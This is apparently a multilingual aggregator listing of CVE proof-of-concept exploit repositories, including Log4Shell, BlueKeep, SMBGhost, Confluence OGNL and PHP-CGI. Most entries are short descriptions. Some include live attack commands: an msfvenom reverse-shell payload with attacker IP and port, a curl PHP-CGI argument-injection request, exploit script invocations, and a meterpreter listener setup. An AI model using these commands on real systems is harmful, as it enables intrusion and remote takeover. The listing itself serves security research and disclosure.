CVE-2026-14762-PoC-Exploit

CVE-2026-14762 – Exploit di SQL injection per Code‑Projects Hotel & Tourism Reservation 1.0 -orange -red Exploit di SQL injection blind time‑based, multi‑thread e completo per CVE‑2026‑14762. Prende di mira l'endpoint /admin/rooms.php dell'applicazione Code‑Projects Hotel & Tourism Reservation...

CVE-2022-28672

CVE-2022-28672 Discord Server Questo bug è un Use after Free causato da una gestione impropria dei riferimenti alla memoria degli oggetti JavaScript. Blog Foxit PDF Reader - UaF - RCE - JIT Spraying Advisory CVE-2022-28672 Demo...

RpcProxyInvoke

RpcProxyInvoke Visão geral Para criar uma forma geral de executar código local e remoto, projetamos um método relativamente obscuro de execução de código, que internamente chamamos de RpcCraft Self e RpcExec Remote Process. Esta técnica aproveita uma metodologia bem conhecida entre desenvolvedore...

CVE-2021-26084

CVE-2021-26084 Prova di concetto per CVE-2021-26084. Iniezione OGNL Webwork di Confluence Server RCE pre-autenticazione Disclaimer Questo è solo a scopo educativo. Non sono responsabile delle tue azioni. Usalo a tua discrezione. Limitazioni dei comandi A causa del payload, non è possibile passare...

CVE-2021-34371

CVE-2021-34371 exploit Python - Neo4j 3.4.18 - esecuzione di codice in remoto RCE basata su RMI...

CVE-2021-44228

CVE-2021-44228 Riproduzione della vulnerabilità 1. Eseguire prima RmiServer per creare un servizio di registro RMI. 2. Eseguire Log4jTest; se si utilizza Windows, apparirà la calcolatrice...

CVE-2023-27524

CVE-2023-27524 Bypass de Autenticação do Apache Superset CVE-2023-27524 Referência https://nvd.nist.gov/vuln/detail/CVE-2023-27524 https://github.com/horizon3ai/CVE-2023-27524 https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/...

CVE-2019-12949

CVE-2019-12949 Von Cross-Site-Scripting-Schwachstelle zu Remote-Code-Ausführung in pfSense 2.4.4-p2 und 2.4.4-p3 Informationsbeschreibung: In pfSense 2.4.4-p2 und 2.4.4-p3 kann ein Angreifer, wenn es möglich ist, den authentifizierten Administrator dazu zu bringen, auf einer Phishing-Seite auf...

CVE-2025-55182

CVE-2025-55182 — Esecuzione di codice remoto non autenticata in React Server Components Gravità: Critica — CVSS 10.0 CWE: CWE-502 Deserializzazione di dati non attendibili Vendor: Meta Facebook Divulgata: 3 dicembre 2025 Panoramica CVE-2025-55182 è una vulnerabilità di esecuzione remota di codice...

CVE-2018-20250

Configurazione Video demo: https://youtu.be/5tuWsi1tGS0 VirtualBox Machine: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Passaggi da eseguire Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe...

CVE-2022-22947-Spring-Cloud-Gateway

Spring Cloud Gateway Remote-Code-Ausführungs-Schwachstelle Diese Schwachstelle stellt ein hohes Risiko für den Produktionsbetrieb dar. Führen Sie keine unbefugten Scans durch. Verwendungshinweise root@kitploit: ╰─ ./CVE-2022-22947 -h ─╯ Befehl ausführen: ./CVE-2022-22947 -u http://127.0.0.1:8080 ...

CVE-2021-44228-Apache-Log4j-Rce

CVE-2021-44228Apache Log4j Remotecodeausführung） alle log4j-core-Versionen =2.0-beta9 und =2.14.1 Die 1.x-Versionen haben andere Schwachstellen; wir empfehlen, auf die neueste Version zu aktualisieren. Sicherheitshinweise / Bulletins im Zusammenhang mit Log4Shell CVE-2021-44228 Verwendung: Laden...

CVE-2020-0796-RCE-POC

CVE-2020-0796 Proof of Concept di Esecuzione Remota di Codice c 2020 ZecOps, Inc. - https://www.zecops.com - Trova gli Errori degli Attaccanti Proof of Concept di Esecuzione Remota di Codice per CVE-2020-0796 / "SMBGhost" Risultato atteso: Reverse shell con accesso di sistema. Inteso solo per...

react2shell-poc-CVE-2025-55182

React2Shell PoC CVE-2025-55182 Um script de Prova de Conceito PoC para React2Shell CVE-2025-55182, uma vulnerabilidade crítica de execução remota de código RCE que afeta aplicações Next.js que usam Server Actions. !WARNING Aviso Legal : Esta ferramenta é apenas para fins educacionais e de testes...

CVE-2022-29078

CVE-2022-29078 | EJS SSTI → RCE WhiteHat School 4ª coorte classe 32 - Sangbeom Woo @taka3636 Sommario La vulnerabilità di server-side template injection SSTI in EJS , ad esempio Hello . Internamente, EJS compila la stringa del template in una funzione JavaScript e la esegue per generare l'HTML...

CVE-2024-4577

Solo per ricerca PoC per XAMPP predefinito root@kitploit: curl -v -d "" http://127.0.0.1/php-cgi/php-cgi.exe/?%add+allowurlinclude%3Don+-d+autoprependfile%3Dphp%3A//input+-d+cgi.forceredirect%3D0...

cve-2022-36804

PoC de RCE no Atlassian Bitbucket - CVE-2022-36804 Este repositório contém um script PoC simples para a vulnerabilidade de execução remota de código no Atlassian Bitbucket. Você pode simplesmente executar este script com os seguintes comandos: root@kitploit: echo 'bitbucket.redacted.com' | python...

needrestart-privesc-cve-2024-48990

Escalation dei privilegi di needrestart CVE-2024-48990 Questa repository contiene un exploit minimale di escalation locale dei privilegi che mira a una vulnerabilità in needrestart CVE-2024-48990. La vulnerabilità consente l'esecuzione arbitraria di codice Perl come root abusando dell'opzione di...

CVE-2021-22205

CVE-2021-22205 Versioni interessate: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 Utilizzo root@kitploit: python3 CVE-2021-22205.py target "curl \whoami.dnslog" Ottieni token csrf: Ottieni il token csrf tramite /users/signin, poi usa il precedente PoC di CVE-2021-22205 per creare...

cve-2019-0708_bluekeep_rce

Esegui msfconsole meterpreter/multi/handler in ascolto su 192.168.116.133:6000 2. cd rdesktop-1.5.0 && make 3. Modifica config, configura l'IP e la porta per la connessione di ritorno 192.168.116.133 6000 4. Esegui ./heapspray 192.168.116.134 134 è l'indirizzo di XP, memoria = 2 GB 5. msfconsole...